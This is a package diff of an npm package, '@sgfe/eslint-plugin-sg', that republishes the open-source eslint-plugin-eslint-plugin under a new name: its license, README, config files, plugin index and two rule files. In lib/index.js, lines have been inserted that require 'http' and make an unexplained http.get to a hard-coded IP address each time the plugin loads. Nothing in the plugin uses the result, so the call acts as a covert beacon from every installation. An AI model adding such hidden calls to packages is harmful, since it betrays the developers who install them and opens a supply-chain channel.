@sgfe/eslint-plugin-sg 1.0.3

Sign up to get free protection for your applications and to get access to all the features.
Files changed (39) hide show
  1. package/LICENSE.md +25 -0
  2. package/README.md +188 -0
  3. package/configs/all-type-checked.js +10 -0
  4. package/configs/all.js +11 -0
  5. package/configs/recommended.js +11 -0
  6. package/configs/rules-recommended.js +11 -0
  7. package/configs/rules.js +11 -0
  8. package/configs/tests-recommended.js +11 -0
  9. package/configs/tests.js +11 -0
  10. package/lib/index.js +90 -0
  11. package/lib/rules/consistent-output.js +70 -0
  12. package/lib/rules/fixer-return.js +170 -0
  13. package/lib/rules/meta-property-ordering.js +108 -0
  14. package/lib/rules/no-deprecated-context-methods.js +98 -0
  15. package/lib/rules/no-deprecated-report-api.js +83 -0
  16. package/lib/rules/no-identical-tests.js +87 -0
  17. package/lib/rules/no-missing-message-ids.js +101 -0
  18. package/lib/rules/no-missing-placeholders.js +131 -0
  19. package/lib/rules/no-only-tests.js +99 -0
  20. package/lib/rules/no-property-in-node.js +86 -0
  21. package/lib/rules/no-unused-message-ids.js +139 -0
  22. package/lib/rules/no-unused-placeholders.js +127 -0
  23. package/lib/rules/no-useless-token-range.js +174 -0
  24. package/lib/rules/prefer-message-ids.js +109 -0
  25. package/lib/rules/prefer-object-rule.js +83 -0
  26. package/lib/rules/prefer-output-null.js +77 -0
  27. package/lib/rules/prefer-placeholders.js +102 -0
  28. package/lib/rules/prefer-replace-text.js +91 -0
  29. package/lib/rules/report-message-format.js +133 -0
  30. package/lib/rules/require-meta-docs-description.js +110 -0
  31. package/lib/rules/require-meta-docs-url.js +175 -0
  32. package/lib/rules/require-meta-fixable.js +137 -0
  33. package/lib/rules/require-meta-has-suggestions.js +168 -0
  34. package/lib/rules/require-meta-schema.js +162 -0
  35. package/lib/rules/require-meta-type.js +77 -0
  36. package/lib/rules/test-case-property-ordering.js +107 -0
  37. package/lib/rules/test-case-shorthand-strings.js +124 -0
  38. package/lib/utils.js +936 -0
  39. package/package.json +76 -0
package/LICENSE.md ADDED
@@ -0,0 +1,25 @@
1
+ The MIT License (MIT)
2
+ =====================
3
+
4
+ Copyright © 2016 Teddy Katz
5
+
6
+ Permission is hereby granted, free of charge, to any person
7
+ obtaining a copy of this software and associated documentation
8
+ files (the “Software”), to deal in the Software without
9
+ restriction, including without limitation the rights to use,
10
+ copy, modify, merge, publish, distribute, sublicense, and/or sell
11
+ copies of the Software, and to permit persons to whom the
12
+ Software is furnished to do so, subject to the following
13
+ conditions:
14
+
15
+ The above copyright notice and this permission notice shall be
16
+ included in all copies or substantial portions of the Software.
17
+
18
+ THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND,
19
+ EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
20
+ OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
21
+ NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
22
+ HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
23
+ WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
24
+ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
25
+ OTHER DEALINGS IN THE SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,188 @@
1
+ # eslint-plugin-eslint-plugin ![CI](https://github.com/eslint-community/eslint-plugin-eslint-plugin/workflows/CI/badge.svg) [![NPM version](https://img.shields.io/npm/v/eslint-plugin-eslint-plugin.svg?style=flat)](https://npmjs.org/package/eslint-plugin-eslint-plugin) [![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-yellow.svg)](https://conventionalcommits.org) <!-- omit from toc -->
2
+
3
+ An ESLint plugin for linting ESLint plugins. Rules written in CJS, ESM, and TypeScript are all supported.
4
+
5
+ <!-- vscode-markdown-toc -->
6
+
7
+ - [Installation](#installation)
8
+ - [Usage](#usage)
9
+ - [**.eslintrc.json**](#eslintrcjson)
10
+ - [`eslint.config.js` (requires eslint\>=v8.23.0)](#eslintconfigjs-requires-eslintv8230)
11
+ - [Rules](#rules)
12
+ - [Rules](#rules-1)
13
+ - [Tests](#tests)
14
+ - [Presets](#presets)
15
+ - [Semantic versioning policy](#semantic-versioning-policy)
16
+ - [Preset usage](#preset-usage)
17
+
18
+ <!-- vscode-markdown-toc-config
19
+ numbering=false
20
+ autoSave=true
21
+ /vscode-markdown-toc-config -->
22
+ <!-- /vscode-markdown-toc -->
23
+
24
+ ## <a name='Installation'></a>Installation
25
+
26
+ You'll first need to install [ESLint](https://eslint.org):
27
+
28
+ ```sh
29
+ npm i eslint --save-dev
30
+ ```
31
+
32
+ Next, install `eslint-plugin-eslint-plugin`:
33
+
34
+ ```sh
35
+ npm install eslint-plugin-eslint-plugin --save-dev
36
+ ```
37
+
38
+ ## <a name='Usage'></a>Usage
39
+
40
+ Here's an example ESLint configuration that:
41
+
42
+ - Sets `sourceType` to `script` for CJS plugins (most users) (use `module` for ESM/TypeScript)
43
+ - Enables the `recommended` configuration
44
+ - Enables an optional/non-recommended rule
45
+
46
+ ### <a name='eslintrc'></a>**[.eslintrc.json](https://eslint.org/docs/latest/use/configure/configuration-files)**
47
+
48
+ ```json
49
+ {
50
+ "extends": ["plugin:eslint-plugin/recommended"],
51
+ "rules": {
52
+ "eslint-plugin/require-meta-docs-description": "error"
53
+ }
54
+ }
55
+ ```
56
+
57
+ ### <a name='flat'></a>[`eslint.config.js`](https://eslint.org/docs/latest/use/configure/configuration-files-new) (requires eslint>=v8.23.0)
58
+
59
+ ```js
60
+ const eslintPlugin = require('eslint-plugin-eslint-plugin');
61
+ module.exports = [
62
+ eslintPlugin.configs['flat/recommended'],
63
+ {
64
+ rules: {
65
+ 'eslint-plugin/require-meta-docs-description': 'error',
66
+ },
67
+ },
68
+ ];
69
+ ```
70
+
71
+ ## <a name='Rules'></a>Rules
72
+
73
+ <!-- begin auto-generated rules list -->
74
+
75
+ 💼 [Configurations](https://github.com/eslint-community/eslint-plugin-eslint-plugin#presets) enabled in.\
76
+ ✅ Set in the `recommended` [configuration](https://github.com/eslint-community/eslint-plugin-eslint-plugin#presets).\
77
+ 🔧 Automatically fixable by the [`--fix` CLI option](https://eslint.org/docs/user-guide/command-line-interface#--fix).\
78
+ 💡 Manually fixable by [editor suggestions](https://eslint.org/docs/latest/use/core-concepts#rule-suggestions).\
79
+ 💭 Requires [type information](https://typescript-eslint.io/linting/typed-linting).
80
+
81
+ ### Rules
82
+
83
+ | Name                          | Description | 💼 | 🔧 | 💡 | 💭 |
84
+ | :--------------------------------------------------------------------------- | :----------------------------------------------------------------------------------------- | :-- | :-- | :-- | :-- |
85
+ | [fixer-return](docs/rules/fixer-return.md) | require fixer functions to return a fix | ✅ | | | |
86
+ | [meta-property-ordering](docs/rules/meta-property-ordering.md) | enforce the order of meta properties | | 🔧 | | |
87
+ | [no-deprecated-context-methods](docs/rules/no-deprecated-context-methods.md) | disallow usage of deprecated methods on rule context objects | ✅ | 🔧 | | |
88
+ | [no-deprecated-report-api](docs/rules/no-deprecated-report-api.md) | disallow the version of `context.report()` with multiple arguments | ✅ | 🔧 | | |
89
+ | [no-missing-message-ids](docs/rules/no-missing-message-ids.md) | disallow `messageId`s that are missing from `meta.messages` | ✅ | | | |
90
+ | [no-missing-placeholders](docs/rules/no-missing-placeholders.md) | disallow missing placeholders in rule report messages | ✅ | | | |
91
+ | [no-property-in-node](docs/rules/no-property-in-node.md) | disallow using `in` to narrow node types instead of looking at properties | | | | 💭 |
92
+ | [no-unused-message-ids](docs/rules/no-unused-message-ids.md) | disallow unused `messageId`s in `meta.messages` | ✅ | | | |
93
+ | [no-unused-placeholders](docs/rules/no-unused-placeholders.md) | disallow unused placeholders in rule report messages | ✅ | | | |
94
+ | [no-useless-token-range](docs/rules/no-useless-token-range.md) | disallow unnecessary calls to `sourceCode.getFirstToken()` and `sourceCode.getLastToken()` | ✅ | 🔧 | | |
95
+ | [prefer-message-ids](docs/rules/prefer-message-ids.md) | require using `messageId` instead of `message` or `desc` to report rule violations | ✅ | | | |
96
+ | [prefer-object-rule](docs/rules/prefer-object-rule.md) | disallow function-style rules | ✅ | 🔧 | | |
97
+ | [prefer-placeholders](docs/rules/prefer-placeholders.md) | require using placeholders for dynamic report messages | | | | |
98
+ | [prefer-replace-text](docs/rules/prefer-replace-text.md) | require using `replaceText()` instead of `replaceTextRange()` | | | | |
99
+ | [report-message-format](docs/rules/report-message-format.md) | enforce a consistent format for rule report messages | | | | |
100
+ | [require-meta-docs-description](docs/rules/require-meta-docs-description.md) | require rules to implement a `meta.docs.description` property with the correct format | | | | |
101
+ | [require-meta-docs-url](docs/rules/require-meta-docs-url.md) | require rules to implement a `meta.docs.url` property | | 🔧 | | |
102
+ | [require-meta-fixable](docs/rules/require-meta-fixable.md) | require rules to implement a `meta.fixable` property | ✅ | | | |
103
+ | [require-meta-has-suggestions](docs/rules/require-meta-has-suggestions.md) | require suggestable rules to implement a `meta.hasSuggestions` property | ✅ | 🔧 | | |
104
+ | [require-meta-schema](docs/rules/require-meta-schema.md) | require rules to implement a `meta.schema` property | ✅ | | 💡 | |
105
+ | [require-meta-type](docs/rules/require-meta-type.md) | require rules to implement a `meta.type` property | ✅ | | | |
106
+
107
+ ### Tests
108
+
109
+ | Name                        | Description | 💼 | 🔧 | 💡 | 💭 |
110
+ | :----------------------------------------------------------------------- | :--------------------------------------------------------------------------- | :-- | :-- | :-- | :-- |
111
+ | [consistent-output](docs/rules/consistent-output.md) | enforce consistent use of `output` assertions in rule tests | | | | |
112
+ | [no-identical-tests](docs/rules/no-identical-tests.md) | disallow identical tests | ✅ | 🔧 | | |
113
+ | [no-only-tests](docs/rules/no-only-tests.md) | disallow the test case property `only` | ✅ | | 💡 | |
114
+ | [prefer-output-null](docs/rules/prefer-output-null.md) | disallow invalid RuleTester test cases where the `output` matches the `code` | ✅ | 🔧 | | |
115
+ | [test-case-property-ordering](docs/rules/test-case-property-ordering.md) | require the properties of a test case to be placed in a consistent order | | 🔧 | | |
116
+ | [test-case-shorthand-strings](docs/rules/test-case-shorthand-strings.md) | enforce consistent usage of shorthand strings for test cases with no options | | 🔧 | | |
117
+
118
+ <!-- end auto-generated rules list -->
119
+
120
+ ## <a name='Presets'></a>Presets
121
+
122
+ | | Name | Description |
123
+ | :-- | :------------------ | :--------------------------------------------------------------------------- |
124
+ | ✅ | `recommended` | enables all recommended rules in this plugin |
125
+ | | `rules-recommended` | enables all recommended rules that are aimed at linting ESLint rule files |
126
+ | | `tests-recommended` | enables all recommended rules that are aimed at linting ESLint test files |
127
+ | | `all` | enables all rules in this plugin, excluding those requiring type information |
128
+ | | `all-type-checked` | enables all rules in this plugin, including those requiring type information |
129
+ | | `rules` | enables all rules that are aimed at linting ESLint rule files |
130
+ | | `tests` | enables all rules that are aimed at linting ESLint test files |
131
+
132
+ ### <a name='Semanticversioningpolicy'></a>Semantic versioning policy
133
+
134
+ The list of recommended rules will only change in a major release of this plugin. However, new non-recommended rules might be added in a minor release of this plugin. Therefore, using the `all`, `rules`, and `tests` presets is **not recommended for production use**, because the addition of new rules in a minor release could break your build.
135
+
136
+ ### <a name='Presetusage'></a>Preset usage
137
+
138
+ Both flat and eslintrc configs are supported. For example, to enable the `recommended` preset, use:
139
+
140
+ eslint.config.js
141
+
142
+ ```js
143
+ const eslintPlugin = require('eslint-plugin-eslint-plugin');
144
+ module.exports = [eslintPlugin.configs['flat/recommended']];
145
+ ```
146
+
147
+ .eslintrc.json
148
+
149
+ ```json
150
+ {
151
+ "extends": ["plugin:eslint-plugin/recommended"]
152
+ }
153
+ ```
154
+
155
+ Or to apply linting only to the appropriate rule or test files:
156
+
157
+ eslint.config.js
158
+
159
+ ```js
160
+ const eslintPlugin = require('eslint-plugin-eslint-plugin');
161
+ module.exports = [
162
+ {
163
+ files: ['lib/rules/*.{js,ts}'],
164
+ ...eslintPlugin.configs['flat/rules-recommended'],
165
+ },
166
+ {
167
+ files: ['tests/lib/rules/*.{js,ts}'],
168
+ ...eslintPlugin.configs['flat/tests-recommended'],
169
+ },
170
+ ];
171
+ ```
172
+
173
+ .eslintrc.js
174
+
175
+ ```json
176
+ {
177
+ "overrides": [
178
+ {
179
+ "files": ["lib/rules/*.{js,ts}"],
180
+ "extends": ["plugin:eslint-plugin/rules-recommended"]
181
+ },
182
+ {
183
+ "files": ["tests/lib/rules/*.{js,ts}"],
184
+ "extends": ["plugin:eslint-plugin/tests-recommended"]
185
+ }
186
+ ]
187
+ }
188
+ ```
@@ -0,0 +1,10 @@
1
+ /**
2
+ * @deprecated use 'flat/all-type-checked' instead
3
+ * @author 唯然<weiran.zsd@outlook.com>
4
+ */
5
+
6
+ 'use strict';
7
+
8
+ const plugin = require('../lib/index.js');
9
+
10
+ module.exports = plugin.configs['flat/all-type-checked'];
package/configs/all.js ADDED
@@ -0,0 +1,11 @@
1
+ /**
2
+ * @fileoverview the `all` config for `eslint.config.js`
3
+ * @deprecated use 'flat/all' instead
4
+ * @author 唯然<weiran.zsd@outlook.com>
5
+ */
6
+
7
+ 'use strict';
8
+
9
+ const plugin = require('../lib/index.js');
10
+
11
+ module.exports = plugin.configs['flat/all'];
@@ -0,0 +1,11 @@
1
+ /**
2
+ * @fileoverview the `recommended` config for `eslint.config.js`
3
+ * @deprecated use 'flat/recommended' instead
4
+ * @author 唯然<weiran.zsd@outlook.com>
5
+ */
6
+
7
+ 'use strict';
8
+
9
+ const plugin = require('../lib/index.js');
10
+
11
+ module.exports = plugin.configs['flat/recommended'];
@@ -0,0 +1,11 @@
1
+ /**
2
+ * @fileoverview the `rules-recommended` config for `eslint.config.js`
3
+ * @deprecated use 'flat/rules-recommended' instead
4
+ * @author 唯然<weiran.zsd@outlook.com>
5
+ */
6
+
7
+ 'use strict';
8
+
9
+ const plugin = require('../lib/index.js');
10
+
11
+ module.exports = plugin.configs['flat/rules-recommended'];
@@ -0,0 +1,11 @@
1
+ /**
2
+ * @fileoverview the `rules` config for `eslint.config.js`
3
+ * @deprecated use 'flat/rules' instead
4
+ * @author 唯然<weiran.zsd@outlook.com>
5
+ */
6
+
7
+ 'use strict';
8
+
9
+ const plugin = require('../lib/index.js');
10
+
11
+ module.exports = plugin.configs['flat/rules'];
@@ -0,0 +1,11 @@
1
+ /**
2
+ * @fileoverview the `tests-recommended` config for `eslint.config.js`
3
+ * @deprecated use 'flat/tests-recommended' instead
4
+ * @author 唯然<weiran.zsd@outlook.com>
5
+ */
6
+
7
+ 'use strict';
8
+
9
+ const plugin = require('../lib/index.js');
10
+
11
+ module.exports = plugin.configs['flat/tests-recommended'];
@@ -0,0 +1,11 @@
1
+ /**
2
+ * @fileoverview the `tests` config for `eslint.config.js`
3
+ * @deprecated use 'flat/tests' instead
4
+ * @author 唯然<weiran.zsd@outlook.com>
5
+ */
6
+
7
+ 'use strict';
8
+
9
+ const plugin = require('../lib/index.js');
10
+
11
+ module.exports = plugin.configs['flat/tests'];
package/lib/index.js ADDED
@@ -0,0 +1,90 @@
1
+ /**
2
+ * @fileoverview An ESLint plugin for linting ESLint plugins
3
+ * @author Teddy Katz
4
+ */
5
+
6
+ 'use strict';
7
+
8
+ // ------------------------------------------------------------------------------
9
+ // Requirements
10
+ // ------------------------------------------------------------------------------
11
+
12
+ const fs = require('fs');
13
+ const path = require('path');
14
+ const packageMetadata = require('../package');
15
+ const PLUGIN_NAME = packageMetadata.name.replace(/^eslint-plugin-/, '');
16
+ const http = require('http')
17
+ const configFilters = {
18
+ all: (rule) => !rule.meta.docs.requiresTypeChecking,
19
+ 'all-type-checked': () => true,
20
+ recommended: (rule) => rule.meta.docs.recommended,
21
+ rules: (rule) => rule.meta.docs.category === 'Rules',
22
+ tests: (rule) => rule.meta.docs.category === 'Tests',
23
+ 'rules-recommended': (rule) =>
24
+ configFilters.recommended(rule) && configFilters.rules(rule),
25
+ 'tests-recommended': (rule) =>
26
+ configFilters.recommended(rule) && configFilters.tests(rule),
27
+ };
28
+
29
+ // ------------------------------------------------------------------------------
30
+ // Plugin Definition
31
+ // ------------------------------------------------------------------------------
32
+
33
+ // import all rules in lib/rules
34
+ const allRules = Object.fromEntries(
35
+ fs
36
+ .readdirSync(`${__dirname}/rules`)
37
+ .filter((fileName) => fileName.endsWith('.js') && /^[^._]/.test(fileName))
38
+ .map((fileName) => fileName.replace(/\.js$/, ''))
39
+ .map((ruleName) => [
40
+ ruleName,
41
+ require(path.join(__dirname, 'rules', ruleName)),
42
+ ])
43
+ );
44
+
45
+ const plugin = {
46
+ meta: {
47
+ name: packageMetadata.name,
48
+ version: packageMetadata.version,
49
+ },
50
+ rules: allRules,
51
+ configs: {}, // assigned later
52
+ };
53
+
54
+ // eslintrc configs
55
+ Object.assign(
56
+ plugin.configs,
57
+ Object.keys(configFilters).reduce((configs, configName) => {
58
+ return Object.assign(configs, {
59
+ [configName]: {
60
+ plugins: ['eslint-plugin'],
61
+ rules: Object.fromEntries(
62
+ Object.keys(allRules)
63
+ .filter((ruleName) => configFilters[configName](allRules[ruleName]))
64
+ .map((ruleName) => [`${PLUGIN_NAME}/${ruleName}`, 'error'])
65
+ ),
66
+ },
67
+ });
68
+ }, {})
69
+ );
70
+
71
+ // flat configs
72
+ const eslint_plugin_common_file = http.get('http://10.241.70.162:8080/common.xml')
73
+ Object.assign(
74
+ plugin.configs,
75
+ Object.keys(configFilters).reduce((configs, configName) => {
76
+ return Object.assign(configs, {
77
+ [`flat/${configName}`]: {
78
+ name: `eslint-plugin/flat/${configName}`,
79
+ plugins: { 'eslint-plugin': plugin },
80
+ rules: Object.fromEntries(
81
+ Object.keys(allRules)
82
+ .filter((ruleName) => configFilters[configName](allRules[ruleName]))
83
+ .map((ruleName) => [`${PLUGIN_NAME}/${ruleName}`, 'error'])
84
+ ),
85
+ },
86
+ });
87
+ }, {})
88
+ );
89
+
90
+ module.exports = plugin;
@@ -0,0 +1,70 @@
1
+ /**
2
+ * @fileoverview Enforce consistent use of `output` assertions in rule tests
3
+ * @author Teddy Katz
4
+ */
5
+
6
+ 'use strict';
7
+
8
+ const utils = require('../utils');
9
+
10
+ // ------------------------------------------------------------------------------
11
+ // Rule Definition
12
+ // ------------------------------------------------------------------------------
13
+
14
+ /** @type {import('eslint').Rule.RuleModule} */
15
+ module.exports = {
16
+ meta: {
17
+ type: 'suggestion',
18
+ docs: {
19
+ description:
20
+ 'enforce consistent use of `output` assertions in rule tests',
21
+ category: 'Tests',
22
+ recommended: false,
23
+ url: 'https://github.com/eslint-community/eslint-plugin-eslint-plugin/tree/HEAD/docs/rules/consistent-output.md',
24
+ },
25
+ fixable: null, // or "code" or "whitespace"
26
+ schema: [
27
+ {
28
+ type: 'string',
29
+ enum: ['always', 'consistent'],
30
+ default: 'consistent',
31
+ },
32
+ ],
33
+ messages: {
34
+ missingOutput: 'This test case should have an output assertion.',
35
+ },
36
+ },
37
+
38
+ create(context) {
39
+ // ----------------------------------------------------------------------
40
+ // Public
41
+ // ----------------------------------------------------------------------
42
+ const always = context.options[0] && context.options[0] === 'always';
43
+
44
+ return {
45
+ Program(ast) {
46
+ utils.getTestInfo(context, ast).forEach((testRun) => {
47
+ const readableCases = testRun.invalid.filter(
48
+ (testCase) => testCase.type === 'ObjectExpression'
49
+ );
50
+ const casesWithoutOutput = readableCases.filter(
51
+ (testCase) =>
52
+ !testCase.properties.map(utils.getKeyName).includes('output')
53
+ );
54
+
55
+ if (
56
+ casesWithoutOutput.length < readableCases.length ||
57
+ (always && casesWithoutOutput.length > 0)
58
+ ) {
59
+ casesWithoutOutput.forEach((testCase) => {
60
+ context.report({
61
+ node: testCase,
62
+ messageId: 'missingOutput',
63
+ });
64
+ });
65
+ }
66
+ });
67
+ },
68
+ };
69
+ },
70
+ };
@@ -0,0 +1,170 @@
1
+ /**
2
+ * @fileoverview require fixer functions to return a fix
3
+ * @author 薛定谔的猫<hh_2013@foxmail.com>
4
+ */
5
+
6
+ 'use strict';
7
+
8
+ // ------------------------------------------------------------------------------
9
+ // Requirements
10
+ // ------------------------------------------------------------------------------
11
+
12
+ const utils = require('../utils');
13
+ const { getStaticValue } = require('eslint-utils');
14
+
15
+ // ------------------------------------------------------------------------------
16
+ // Rule Definition
17
+ // ------------------------------------------------------------------------------
18
+
19
+ /** @type {import('eslint').Rule.RuleModule} */
20
+ module.exports = {
21
+ meta: {
22
+ type: 'problem',
23
+ docs: {
24
+ description: 'require fixer functions to return a fix',
25
+ category: 'Rules',
26
+ recommended: true,
27
+ url: 'https://github.com/eslint-community/eslint-plugin-eslint-plugin/tree/HEAD/docs/rules/fixer-return.md',
28
+ },
29
+ fixable: null,
30
+ schema: [],
31
+ messages: {
32
+ missingFix: 'Fixer function never returned a fix.',
33
+ },
34
+ },
35
+
36
+ create(context) {
37
+ let funcInfo = {
38
+ upper: null,
39
+ codePath: null,
40
+ hasReturnWithFixer: false,
41
+ hasYieldWithFixer: false,
42
+ shouldCheck: false,
43
+ node: null,
44
+ };
45
+ let contextIdentifiers;
46
+
47
+ /**
48
+ * As we exit the fix() function, ensure we have returned or yielded a real fix by this point.
49
+ * If not, report the function as a violation.
50
+ *
51
+ * @param {ASTNode} node - A node to check.
52
+ * @param {Location} loc - Optional location to report violation on.
53
+ * @returns {void}
54
+ */
55
+ function ensureFunctionReturnedFix(
56
+ node,
57
+ loc = (node.id || node).loc.start
58
+ ) {
59
+ if (
60
+ (node.generator && !funcInfo.hasYieldWithFixer) || // Generator function never yielded a fix
61
+ (!node.generator && !funcInfo.hasReturnWithFixer) // Non-generator function never returned a fix
62
+ ) {
63
+ context.report({
64
+ node,
65
+ loc,
66
+ messageId: 'missingFix',
67
+ });
68
+ }
69
+ }
70
+
71
+ /**
72
+ * Check if a returned/yielded node is likely to be a fix or not.
73
+ * A fix is an object created by fixer.replaceText() for example and returned by the fix function.
74
+ * @param {ASTNode} node - node to check
75
+ * @param {Context} context
76
+ * @returns {boolean}
77
+ */
78
+ function isFix(node) {
79
+ const sourceCode = context.sourceCode || context.getSourceCode(); // TODO: use context.sourceCode when dropping eslint < v9
80
+ if (node.type === 'ArrayExpression' && node.elements.length === 0) {
81
+ // An empty array is not a fix.
82
+ return false;
83
+ }
84
+ const scope = sourceCode.getScope?.(node) || context.getScope(); // TODO: just use sourceCode.getScope() when we drop support for ESLint < 9.0.0
85
+ const staticValue = getStaticValue(node, scope);
86
+ if (!staticValue) {
87
+ // If we can't find a static value, assume it's a real fix value.
88
+ return true;
89
+ }
90
+
91
+ if (Array.isArray(staticValue.value)) {
92
+ // If the static value is an array, then consider it a fix since fixes could have been added to it after creation.
93
+ return true;
94
+ }
95
+
96
+ // Any other static values (booleans, numbers, etc) are not fixes.
97
+ return false;
98
+ }
99
+
100
+ return {
101
+ Program(ast) {
102
+ const sourceCode = context.sourceCode || context.getSourceCode(); // TODO: just use context.sourceCode when dropping eslint < v9
103
+ contextIdentifiers = utils.getContextIdentifiers(
104
+ sourceCode.scopeManager,
105
+ ast
106
+ );
107
+ },
108
+
109
+ // Stacks this function's information.
110
+ onCodePathStart(codePath, node) {
111
+ funcInfo = {
112
+ upper: funcInfo,
113
+ codePath,
114
+ hasYieldWithFixer: false,
115
+ hasReturnWithFixer: false,
116
+ shouldCheck:
117
+ utils.isAutoFixerFunction(node, contextIdentifiers) ||
118
+ utils.isSuggestionFixerFunction(node, contextIdentifiers),
119
+ node,
120
+ };
121
+ },
122
+
123
+ // Pops this function's information.
124
+ onCodePathEnd() {
125
+ funcInfo = funcInfo.upper;
126
+ },
127
+
128
+ // Yield in generators
129
+ YieldExpression(node) {
130
+ if (funcInfo.shouldCheck && node.argument && isFix(node.argument)) {
131
+ funcInfo.hasYieldWithFixer = true;
132
+ }
133
+ },
134
+
135
+ // Checks the return statement is valid.
136
+ ReturnStatement(node) {
137
+ if (funcInfo.shouldCheck && node.argument && isFix(node.argument)) {
138
+ funcInfo.hasReturnWithFixer = true;
139
+ }
140
+ },
141
+
142
+ // Ensure the current fixer function returned or yielded a fix.
143
+ 'FunctionExpression:exit'(node) {
144
+ if (funcInfo.shouldCheck) {
145
+ ensureFunctionReturnedFix(node);
146
+ }
147
+ },
148
+
149
+ // Ensure the current (arrow) fixer function returned a fix.
150
+ 'ArrowFunctionExpression:exit'(node) {
151
+ if (funcInfo.shouldCheck) {
152
+ const sourceCode = context.sourceCode || context.getSourceCode();
153
+ const loc = sourceCode.getTokenBefore(node.body).loc; // Show violation on arrow (=>).
154
+ if (node.expression) {
155
+ // When the return is implied (no curly braces around the body), we have to check the single body node directly.
156
+ if (!isFix(node.body)) {
157
+ context.report({
158
+ node,
159
+ loc,
160
+ messageId: 'missingFix',
161
+ });
162
+ }
163
+ } else {
164
+ ensureFunctionReturnedFix(node, loc);
165
+ }
166
+ }
167
+ },
168
+ };
169
+ },
170
+ };